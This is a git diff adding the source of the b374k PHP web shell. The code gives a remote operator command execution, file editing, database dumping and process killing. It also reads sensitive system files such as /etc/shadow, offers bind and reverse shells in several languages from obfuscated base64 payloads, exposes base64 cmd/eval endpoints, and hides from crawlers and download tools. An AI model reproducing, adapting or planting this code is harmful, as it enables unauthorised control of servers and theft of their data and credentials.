+ "; + + $s_t = ""; + + $s_mime = ""; + $s_mime_list = gzinflate(base64_decode($s_mime_types)); + $s_ext = trim(substr($s_f, strrpos($s_f, ".")),"."); + if(preg_match("/([^\s]+)\ .*$s_ext.*/i",$s_mime_list,$s_r)){ + $s_mime = $s_r[1]; + } + + $s_iinfo = @getimagesize($s_f); + if(strtolower(substr($s_filn,-3,3)) == "php") $s_t = "code"; + elseif(is_array($s_iinfo)) $s_t = 'image'; + elseif(!empty($s_mime)) $s_t = substr($s_mime,0,strpos($s_mime,"/")); + + if(isset($_REQUEST['type'])) $s_t = ss($_REQUEST['type']); + + if($s_t=="image"){ + $s_width = (int) $s_iinfo[0]; + $s_height = (int) $s_iinfo[1]; + $s_imginfo = "Image type = ( ".$s_iinfo['mime']." )
+ Image Size = ( ".$s_width." x ".$s_height." )
"; + if($s_width > 800){ + $s_width = 800; + $s_imglink = "

+ [ view full size ]

"; + } + else $s_imglink = ""; + + $s_result .= "
".$s_imglink." + ".$s_filn."
"; + + } + elseif($s_t=="code"){ + $s_result .= "
"; + $s_file = wordwrap(@file_get_contents($s_f),160,"\n",true); + $s_buff = highlight_string($s_file,true); + $s_old = array("0000BB","000000","FF8000","DD0000", "007700"); + $s_new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000"); + $s_buff = str_replace($s_old,$s_new, $s_buff); + $s_result .= $s_buff; + $s_result .= "
"; + } + elseif($s_t=="audio" || $s_t=="video"){ + $s_result .= "
+ <".$s_t." controls> + + + + + +
"; + } + else { + $s_result .= "
";
+				$s_result .=  str_replace("<","<",str_replace(">",">",(wordwrap(@file_get_contents($s_f),160,"\n",true))));
+				$s_result .=   "
"; + } + } + elseif(is_dir($s_f)){ + chdir($s_f); + $s_cwd = cp(getcwd()); + $s_result .= showdir($s_cwd); + } + else $s_result .= "

Cannot find the path specified ".$s_f."

"; + + } // edit file + elseif(isset($_REQUEST['edit'])){ + $s_f = ss($_REQUEST['edit']); + $s_fc = ""; + $s_fcs = ""; + + if(isset($_REQUEST['new']) && ($_REQUEST['new']=='yes')){ + $s_num = 1; + if(is_file($s_f)){ + $s_pos = strrpos($s_f,"_"); + if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1); + while(is_file(substr($s_f,0,$s_pos)."_".$s_num)){ + $s_num++; + } + $s_f = substr($s_f,0,$s_pos)."_".$s_num; + } + } + else if(is_file($s_f)) $s_fc = @file_get_contents($s_f); + + + if(isset($_REQUEST['fc'])){ + $s_fc = ssc($_REQUEST['fc']); + if($s_filez = fopen($s_f,"w")){ + $s_time = @date("d-M-Y H:i:s",time()); + if(fwrite($s_filez,$s_fc)!==false) $s_fcs = "File saved @ ".$s_time; + else $s_fcs = "Failed to save"; + fclose($s_filez); + } + else $s_fcs = "Permission denied"; + } + else if(is_file($s_f) && !is_writable($s_f)) $s_fcs = "This file is not writable"; + + if(!empty($s_fcs)) $s_result .= "

".$s_fcs."

"; + $s_result .= "
+ +

+

+
"; + + }// hex edit file + elseif(isset($_REQUEST['hexedit'])){ + $s_f = ss($_REQUEST['hexedit']); + $s_fc = ""; + $s_fcs = ""; + $s_lnum = 0; + $s_hexes = ""; + + if(!empty($_REQUEST['hexes']) || !empty($_REQUEST['hexestxtarea'])){ + if(!empty($_REQUEST['hexes'])){ + foreach($_REQUEST['hexes'] as $s_hex) $s_hexes .= str_replace(" ","", $s_hex); + } + elseif(!empty($_REQUEST['hexestxtarea'])){ + $s_hexes = trim($_REQUEST['hexestxtarea']); + } + if($s_filez = fopen($s_f,"w")){ + $s_bins = pack("H*" , $s_hexes); + $s_time = @date("d-M-Y H:i:s",time()); + if(fwrite($s_filez,$s_bins)!==false) $s_fcs = "File saved @ ".$s_time; + else $s_fcs = "Failed to save"; + fclose($s_filez); + } + else $s_fcs = "Permission denied"; + } + else if(is_file($s_f) && !is_writable($s_f)) $s_fcs = "This file is not writable"; + + if(!empty($s_fcs)) $s_result .= "

".$s_fcs."

"; + $s_result .= "
+

+

+ + "; + if(is_file($s_f)){ + $s_fp = fopen($s_f,"r"); + if($s_fp) { + $s_ldump = ""; + $s_counter = 0; + $s_icounter = 0; + while(!feof($s_fp)){ + $s_line = fread($s_fp, 32); + $s_linedump = preg_replace('/[^\x21-\x7E]/','.', $s_line); + $s_linedump = str_replace(">",".",$s_linedump); + $s_linedump = str_replace("<",".",$s_linedump); + $s_linehex = strtoupper(bin2hex($s_line)); + $s_linex = str_split($s_linehex,2); + $s_linehex = implode(" ", $s_linex); + $s_addr = sprintf("%08xh",$s_icounter); + + $s_result .= " + "; + $s_counter++; + $s_icounter+=32; + } + $s_result .= ""; + $s_result .= ""; + fclose($s_fp); + } + } + $s_result .= "
".$s_addr." + +
".$s_linedump."
"; + + }// show server information + elseif(isset($_REQUEST['x']) && ($_REQUEST['x']=='info')){ + $s_result = ""; + // server misc info + $s_result .= "

Server Info

"; + $s_result .= "
"; + + if($s_win){ + foreach (range("A","Z") as $s_letter){ + if((is_dir($s_letter.":\\") && is_readable($s_letter.":\\"))){ + $s_drive = $s_letter.":"; + $s_result .= ""; + } + } + } + else $s_result .= ""; + + $s_result .= ""; + if($s_python) $s_result .= ""; + if($s_perl) $s_result .= ""; + if($s_ruby) $s_result .= ""; + if($s_gcc){ + $s_gcc_version = exe("gcc --version"); + $s_gcc_ver = explode("\n",$s_gcc_version); + if(count($s_gcc_ver)>0) $s_gcc_ver = $s_gcc_ver[0]; + $s_result .= ""; + } + if($s_java) $s_result .= ""; + + $s_interesting = array( + "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/etc/resolv.conf", "/etc/sysctl.conf", + "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf", + "/etc/ssh/sshd_config", + "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf"," /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf", + "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf", + "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"); + foreach($s_interesting as $s_f){ + if(is_file($s_f) && is_readable($s_f)) + $s_result .= ""; + } + + + $s_result .= "
drive ".$s_drive."".ts(disk_free_space($s_drive))." free of ".ts(disk_total_space($s_drive))."
root partition".ts(disk_free_space("/"))." free of ".ts(disk_total_space("/"))."
php".phpversion()."
python".exe("python -V")."
perl".exe("perl -e \"print \$s_]\"")."
ruby".exe("ruby -v")."
gcc".$s_gcc_ver."
java".str_replace("\n", ", ", exe("java -version"))."
".$s_f."".$s_f." is readable
"; + + if(!$s_win){ + // cpu info + if($s_i_buff=trim(@file_get_contents("/proc/cpuinfo"))){ + $s_result .= "

CPU Info

"; + $s_result .= "
"; + $s_i_buffs = explode("\n\n", $s_i_buff); + foreach($s_i_buffs as $s_i_buffss){ + $s_i_buffss = trim($s_i_buffss); + if($s_i_buffss!=""){ + $s_i_buffsss = explode("\n",$s_i_buffss); + $s_result .= ""; + foreach($s_i_buffsss as $s_i){ + $s_i = trim($s_i); + if($s_i!=""){ + $s_ii = explode(":",$s_i); + if(count($s_ii)==2) $s_result .= ""; + } + } + $s_result .= "
".$s_ii[0]."".$s_ii[1]."
"; + } + } + $s_result .= "
"; + } + // mem info + if($s_i_buff=trim(@file_get_contents("/proc/meminfo"))){ + $s_result .= "

Memory Info

"; + $s_i_buffs = explode("\n",$s_i_buff); + $s_result .= "
"; + foreach($s_i_buffs as $s_i){ + $s_i = trim($s_i); + if($s_i!=""){ + $s_ii = explode(":",$s_i); + if(count($s_ii)==2) $s_result .= ""; + } + else $s_result .= "
".$s_ii[0]."".$s_ii[1]."
"; + } + $s_result .= "
"; + } + // partition + if($s_i_buff=trim(@file_get_contents("/proc/partitions"))){ + $s_i_buff = preg_replace("/\ +/"," ",$s_i_buff); + $s_result .= "

Partitions Info

"; + $s_result .= "
"; + $s_i_buffs = explode("\n\n", $s_i_buff); + $s_result .= ""; + $s_i_head = explode(" ",$s_i_buffs[0]); + foreach($s_i_head as $s_h) $s_result .= ""; + $s_result .= ""; + $s_i_buffss = explode("\n", $s_i_buffs[1]); + foreach($s_i_buffss as $s_i_b){ + $s_i_row = explode(" ",trim($s_i_b)); + $s_result .= ""; + foreach($s_i_row as $s_r) $s_result .= ""; + $s_result .= ""; + } + $s_result .= "
".$s_h."
".$s_r."
"; + $s_result .= "
"; + } + } + $s_phpinfo = array( + "PHP General" => INFO_GENERAL, + "PHP Configuration" => INFO_CONFIGURATION, + "PHP Modules" => INFO_MODULES, + "PHP Environment" => INFO_ENVIRONMENT, + "PHP Variables" => INFO_VARIABLES + ); + foreach($s_phpinfo as $s_p=>$s_i){ + $s_result .= "

".$s_p."

"; + ob_start(); + eval("phpinfo(".$s_i.");"); + $s_b = ob_get_contents(); + ob_end_clean(); + $s_a = strpos($s_b,"")+6; + $s_z = strpos($s_b,""); + $s_body = substr($s_b,$s_a,$s_z-$s_a); + $s_body = str_replace(",",", ",$s_body); + $s_body = str_replace("&","&",$s_body); + $s_body = str_replace(";","; ",$s_body); + $s_result .= "
".$s_body."
"; + } + } // working with database + elseif(isset($_REQUEST['x']) && ($_REQUEST['x']=='db')){ + // sqltype : mysql, mssql, oracle, pgsql, odbc, pdo + $s_sqlhost = isset($_REQUEST['sqlhost'])? ssc($_REQUEST['sqlhost']) : ""; + $s_sqlport = isset($_REQUEST['sqlport'])? ssc($_REQUEST['sqlport']) : ""; + $s_sqluser = isset($_REQUEST['sqluser'])? ssc($_REQUEST['sqluser']) : ""; + $s_sqlpass = isset($_REQUEST['sqlpass'])? ssc($_REQUEST['sqlpass']) : ""; + $s_sqltype = isset($_REQUEST['sqltype'])? ssc($_REQUEST['sqltype']) : ""; + $s_show_form = true; + $s_show_dbs = true; + + if(isset($_REQUEST['connect'])){ + $s_con = sql_connect($s_sqltype,$s_sqlhost,$s_sqluser,$s_sqlpass); + $s_sqlcode = isset($_REQUEST['sqlcode']) ? urldecode(ssc($_REQUEST['sqlcode'])) : ""; + + if($s_con!==false){ + $s_show_form = false; + $s_result .= "
+ + + + + + + + +

+   Separate multiple commands with a semicolon [ ; ]

+
"; + + if(!empty($s_sqlcode)){ + $s_querys = explode(";",$s_sqlcode); + foreach($s_querys as $s_query){ + if(trim($s_query) != ""){ + $s_hasil = sql_query($s_sqltype,$s_query,$s_con); + if($s_hasil!=false){ + $s_result .= "

".$s_query.";    + [ ok ]

+ "; + for($s_i=0;$s_i"; + $s_result .= ""; + while($s_rows=sql_fetch_data($s_sqltype,$s_hasil)){ + $s_result .= ""; + foreach($s_rows as $s_r){ + if(empty($s_r)) $s_r = " "; + $s_result .= ""; + } + $s_result .= ""; + } + $s_result .= "
".@hss($s_r)."
"; + } + else{ + $s_result .= "

".$s_query.";    + [ error ]

"; + } + } + } + } + else{ + if(($s_sqltype!='pdo') && ($s_sqltype!='odbc')){ + if($s_sqltype=='mysql') $s_showdb = "SHOW DATABASES"; + elseif($s_sqltype=='mssql') $s_showdb = "SELECT name FROM master..sysdatabases"; + elseif($s_sqltype=='pgsql') $s_showdb = "SELECT schema_name FROM information_schema.schemata"; + elseif($s_sqltype=='oracle') $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; + elseif($s_sqltype=='sqlite3' || $s_sqltype=='sqlite') $s_showdb = "SELECT \"".$s_sqlhost."\""; + else $s_showdb = "SHOW DATABASES"; + + $s_hasil = sql_query($s_sqltype,$s_showdb,$s_con); + + if($s_hasil!=false) { + while($s_rows_arr=sql_fetch_data($s_sqltype,$s_hasil)){ + foreach($s_rows_arr as $s_rows){ + $s_result .= "

".$s_rows."

"; + $s_result .= "
"; + + if($s_sqltype=='mysql') $s_showtbl = "SHOW TABLES FROM ".$s_rows; + elseif($s_sqltype=='mssql') $s_showtbl = "SELECT name FROM ".$s_rows."..sysobjects WHERE xtype = 'U'"; + elseif($s_sqltype=='pgsql') $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$s_rows."'"; + elseif($s_sqltype=='oracle') $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$s_rows."'"; + elseif($s_sqltype=='sqlite3' || $s_sqltype=='sqlite') $s_showtbl = "SELECT name FROM sqlite_master WHERE type='table'"; + else $s_showtbl = ""; + + $s_hasil_t = sql_query($s_sqltype,$s_showtbl,$s_con); + if($s_hasil_t!=false) { + while($s_tables_arr=sql_fetch_data($s_sqltype,$s_hasil_t)){ + foreach($s_tables_arr as $s_tables){ + if($s_sqltype=='mysql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 0,100"; + elseif($s_sqltype=='mssql') $s_dump_tbl = "SELECT TOP 100 * FROM ".$s_rows."..".$s_tables; + elseif($s_sqltype=='pgsql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 100 OFFSET 0"; + elseif($s_sqltype=='oracle') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." WHERE ROWNUM BETWEEN 0 AND 100;"; + elseif($s_sqltype=='sqlite' || $s_sqltype=='sqlite3') $s_dump_tbl = "SELECT * FROM ".$s_tables." LIMIT 0,100"; + else $s_dump_tbl = ""; + + $s_dump_tbl_link = $s_self."x=db&connect=&sqlhost=".$s_sqlhost."&sqlport=".$s_sqlport."&sqluser=".$s_sqluser."&sqlpass=".$s_sqlpass."&sqltype=".$s_sqltype."&sqlcode=".$s_dump_tbl; + + $s_result .= ""; + } + } + } + $s_result .= "
".$s_tables."
"; + } + } + } + } + } + sql_close($s_sqltype,$s_con); + } + else{ + $s_result .= "

Unable to connect to database

"; + $s_show_form = true; + } + } + + if($s_show_form){ + // sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo + $s_sqllist = array(); + if(function_exists("mysql_connect")) $s_sqllist["mysql"] = "connect to MySQL - using mysql_*"; + if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $s_sqllist["mssql"] = "connect to MsSQL - using mssql_* or sqlsrv_*"; + if(function_exists("pg_connect")) $s_sqllist["pgsql"] = "connect to PostgreSQL - using pg_*"; + if(function_exists("oci_connect")) $s_sqllist["oracle"] = "connect to oracle - using oci_*"; + if(function_exists("sqlite_open")) $s_sqllist["sqlite"] = "connect to SQLite - using sqlite_*"; + if(class_exists("SQLite3")) $s_sqllist["sqlite3"] = "connect to SQLite3 - using class SQLite3"; + if(function_exists("odbc_connect")) $s_sqllist["odbc"] = "connect via ODBC - using odbc_*"; + if(class_exists("PDO")) $s_sqllist["pdo"] = "connect via PDO - using class PDO"; + + foreach($s_sqllist as $s_sqltype=>$s_sqltitle){ + if($s_sqltype=="odbc" || $s_sqltype=="pdo"){ + $s_result .= "

".$s_sqltitle."

+
+ + + + +
DSN / Connection String
Username
Password
+ + + +
+
"; + } + elseif($s_sqltype=="sqlite" || $s_sqltype=="sqlite3"){ + $s_result .= "

".$s_sqltitle."

+
+ + +
DB File
+ + + +
+
"; + } + else{ + $s_result .= "

".$s_sqltitle."

+
+ + + + + +
Host
Username
Password
Port (optional)
+ + + +
+
"; + } + } + + } + } // bind and reverse shell + elseif(isset($_REQUEST['x']) && ($_REQUEST['x']=='rs')){ + //$s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); + //$s_my_ip = $_SERVER['REMOTE_ADDR']; + $s_rshost = $s_server_ip; + + $s_rsport = "13123"; + // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_c $s_rs_win + $s_rspesana = "Press ' Go ! ' button and run ' nc server_ip port ' on your computer"; + $s_rspesanb = "Run ' nc -l -v -p port ' on your computer and press ' Go ! ' button"; + + //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php + // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_c $s_rs_win $s_rs_php + $s_rsbind = array(); + $s_rsback = array(); + + + $s_rsbind["bind_php"] = "Bind Shell - php"; + $s_rsback["back_php"] = "Reverse Shell - php"; + + if($s_perl){ + $s_rsbind["bind_pl"] = "Bind Shell - perl"; + $s_rsback["back_pl"] = "Reverse Shell - perl"; + } + if($s_python){ + $s_rsbind["bind_py"] = "Bind Shell - python"; + $s_rsback["back_py"] = "Reverse Shell - python"; + } + if($s_ruby){ + $s_rsbind["bind_rb"] = "Bind Shell - ruby"; + $s_rsback["back_rb"] = "Reverse Shell - ruby"; + } + if($s_win){ + $s_rsbind["bind_win"] = "Bind Shell - windows executable"; + $s_rsback["back_win"] = "Reverse Shell - windows executable"; + } + else{ + $s_rsbind["bind_c"] = "Bind Shell - c"; + $s_rsback["back_c"] = "Reverse Shell - c"; + } + + $s_rslist = array_merge($s_rsbind,$s_rsback); + + if(!is_writable($s_cwd)) $s_result .= "

Directory ".$s_cwd." is not writable, please change to a writable one

"; + $s_rs_err = ""; + foreach($s_rslist as $s_rstype=>$s_rstitle){ + $s_split = explode("_",$s_rstype); + if($s_split[0]=="bind"){ + $s_rspesan = $s_rspesana; + $s_rsdisabled = "disabled='disabled'"; + $s_rstarget = $s_server_ip; + $s_labelip = "Server IP"; + } + elseif($s_split[0]=="back"){ + $s_rspesan = $s_rspesanb; + $s_rsdisabled = ""; + $s_rstarget = $s_my_ip; + $s_labelip = "Target IP"; + } + if(isset($_REQUEST[$s_rstype])){ + if(isset($_REQUEST["rshost_".$s_rstype])) $s_rshost_ = ss($_REQUEST["rshost_".$s_rstype]); + if(isset($_REQUEST["rsport_".$s_rstype])) $s_rsport_ = ss($_REQUEST["rsport_".$s_rstype]); + + if($s_split[0]=="bind") $s_rstarget_packed = $s_rsport_; + elseif($s_split[0]=="back") $s_rstarget_packed = $s_rsport_." ".$s_rshost_; + + if($s_split[1]=="pl") $s_rscode = $s_rs_pl; + elseif($s_split[1]=="py") $s_rscode = $s_rs_py; + elseif($s_split[1]=="rb") $s_rscode = $s_rs_rb; + elseif($s_split[1]=="c") $s_rscode = $s_rs_c; + elseif($s_split[1]=="win") $s_rscode = $s_rs_win; + elseif($s_split[1]=="php") $s_rscode = $s_rs_php;; + $s_buff = rs($s_rstype,$s_rstarget_packed,$s_rscode); + if($s_buff!="") $s_rs_err = "

".hss($s_buff)."

"; + } + $s_result .= "

".$s_rstitle."

+
+ + + +
".$s_labelip."
Port
+ +   ".$s_rspesan." + +
+
"; + } + $s_result = $s_rs_err.$s_result; + } // task manager + elseif(isset($_REQUEST['x']) && ($_REQUEST['x']=='ps')){ + $s_buff = ""; + // kill process specified by pid + if(isset($_REQUEST['pid'])){ + $s_p = ss($_REQUEST['pid']); + if(function_exists("posix_kill")) $s_buff = (posix_kill($s_p,'9'))? "Process with pid ".$s_p." has been successfully killed":"Unable to kill process with pid ".$s_p; + else{ + if(!$s_win) $s_buff = exe("kill -9 ".$s_p); + else $s_buff = exe("taskkill /F /PID ".$s_p); + } + } + + if(!$s_win) $s_h = "ps aux"; + else $s_h = "tasklist /V /FO csv"; + $s_wcount = 11; + $s_wexplode = " "; + if($s_win) $s_wexplode = "\",\""; + + $s_res = exe($s_h); + if(trim($s_res)=='') $s_result = "

Error getting process list

"; + else{ + if($s_buff!="") $s_result = "

".$s_buff."

"; + $s_result .= ""; + if(!$s_win) $s_res = preg_replace('#\ +#',' ',$s_res); + + $s_psarr = explode("\n",$s_res); + $s_fi = true; + $s_tblcount = 0; + + $s_check = explode($s_wexplode,$s_psarr[0]); + $s_wcount = count($s_check); + + foreach($s_psarr as $s_psa){ + if(trim($s_psa)!=''){ + if($s_fi){ + $s_fi = false; + $s_psln = explode($s_wexplode,$s_psa,$s_wcount); + $s_result .= ""; + foreach($s_psln as $s_p) $s_result .= ""; + $s_result .= ""; + } + else{ + $s_psln = explode($s_wexplode,$s_psa,$s_wcount); + $s_result .= ""; + $s_tblcount = 0; + foreach($s_psln as $s_p){ + if(trim($s_p)=="") $s_p = " "; + if($s_tblcount == 0){ + $s_result .= " + "; + $s_tblcount++; + } + else{ + $s_tblcount++; + if($s_tblcount == count($s_psln)) $s_result .= ""; + else $s_result .= ""; + } + } + $s_result .= ""; + } + } + } + $s_result .= "
action".trim(trim(strtolower($s_p)),"\"")."
kill".trim(trim($s_p),"\"")."".trim(trim($s_p),"\"")."".trim(trim($s_p),"\"")."
"; + } + } + else{ + if(isset($_REQUEST['cmd'])){ + $s_cmd = ss($_REQUEST['cmd']); + if(strlen($s_cmd) > 0){ + if(preg_match('#^cd(\ )+(.*)$s_#',$s_cmd,$s_r)){ + $s_nd = trim($s_r[2]); + if(is_dir($s_nd)){ + chdir($s_nd); + $s_cwd = cp(getcwd()); + $s_result .= showdir($s_cwd); + } + elseif(is_dir($s_cwd.$s_nd)){ + chdir($s_cwd.$s_nd); + $s_cwd = cp(getcwd()); + $s_result .= showdir($s_cwd); + } + else $s_result .= "

".$s_nd." is not a directory"."

"; + } + else{ + $s_r = hss(exe($s_cmd)); + if($s_r != '') $s_result .= "
".$s_r."
"; + else $s_result .= showdir($s_cwd); + } + } + else $s_result .= showdir($s_cwd); + } + else{ + $s_result .= showdir($s_cwd); + } + } + + // print useful info + $s_info = ""; + $s_info .= ""; + $s_info .= " + +
".$s_system."
".$s_software."
server ip : ".$s_server_ip." | your ip : ".$s_my_ip; + $s_info .= " | Time @ Server : ".@date("d M Y H:i:s",time()); + $s_info .= " +
+ + + +
".trim($s_letters)." + +   + Change +   ".swd($s_cwd)." +
+ +   + Change +    + + + + +
+
+
"; + + +} +?> + + +<?php echo $s_title; ?> + + + + + + +
+ + +
+
+ +
+
+
+
+ +
+ +   + +
+
+ +
+ + + + + \ No newline at end of file diff --git a/php/b374k/source/b374k-2.6.source.php b/php/b374k/source/b374k-2.6.source.php new file mode 100644 index 0000000..0bbb053 --- /dev/null +++ b/php/b374k/source/b374k-2.6.source.php @@ -0,0 +1,2884 @@ +0){ + if(isset($_COOKIE['b374k'])){ + if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true; + } + if(isset($_REQUEST['login'])){ + $s_login = strtolower(md5(trim($_REQUEST['login']))); + if(strtolower(trim($s_pass)) == $s_login){ + setcookie("b374k",$s_login,time() + $s_login_time); + $s_auth = true; + } + } + if(isset($_REQUEST['x']) && ($_REQUEST['x']=='logout')){ + $persist = array("theme","cwd"); + $s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):""; + foreach($_COOKIE as $s_k=>$s_v){ + if(!in_array($s_k, $persist)) if(!is_array($s_k)) setcookie($s_k,"",time() - $s_login_time); + } + $s_auth = false; + if(!empty($s_reload)) header("Location: ".$s_reload); + } +} +else $s_auth = true; + +// This is a feature where you can control this script from another apps/scripts +// you need to supply password (in md5 format) to access this +// this example using password 'b374k' in md5 format (s_pass=0de664ecd2be02cdd54234a0d1229b43) +// give the code/command you want to execute in base64 format +// this example using command 'uname -a' in base64 format (cmd=dW5hbWUgLWE=) +// example : +// http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&cmd=dW5hbWUgLWE= +// next sample will evaluate php code 'phpinfo();' in base64 format (eval=cGhwaW5mbygpOw==) +// http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&eval=cGhwaW5mbygpOw== +// recommended ways is using POST DATA +// note that it will not works if shell password is empty ($s_pass); +// better see code below +if(!empty($_REQUEST['s_pass'])){ + if(strtolower(trim($s_pass)) == strtolower(trim($_REQUEST['s_pass']))){ + if(isset($_REQUEST['cmd'])){ + $s_cmd = base64_decode($_REQUEST['cmd']); + echo exe($s_cmd); + } + elseif(isset($_REQUEST['eval'])){ + $s_code = base64_decode($_REQUEST['eval']); + ob_start(); + eval($s_code); + $s_res = ob_get_contents(); + ob_end_clean(); + echo $s_res; + } + else echo $s_title; + } + die(); +} + +// block search engine bot +if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); +} +elseif(!isset($_SERVER['HTTP_USER_AGENT'])){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); +} + +// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_c $s_rs_java $s_rs_win $s_rs_php this was used with bind and reverse shell +// use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P +$s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A"; +$s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE="; +$s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZ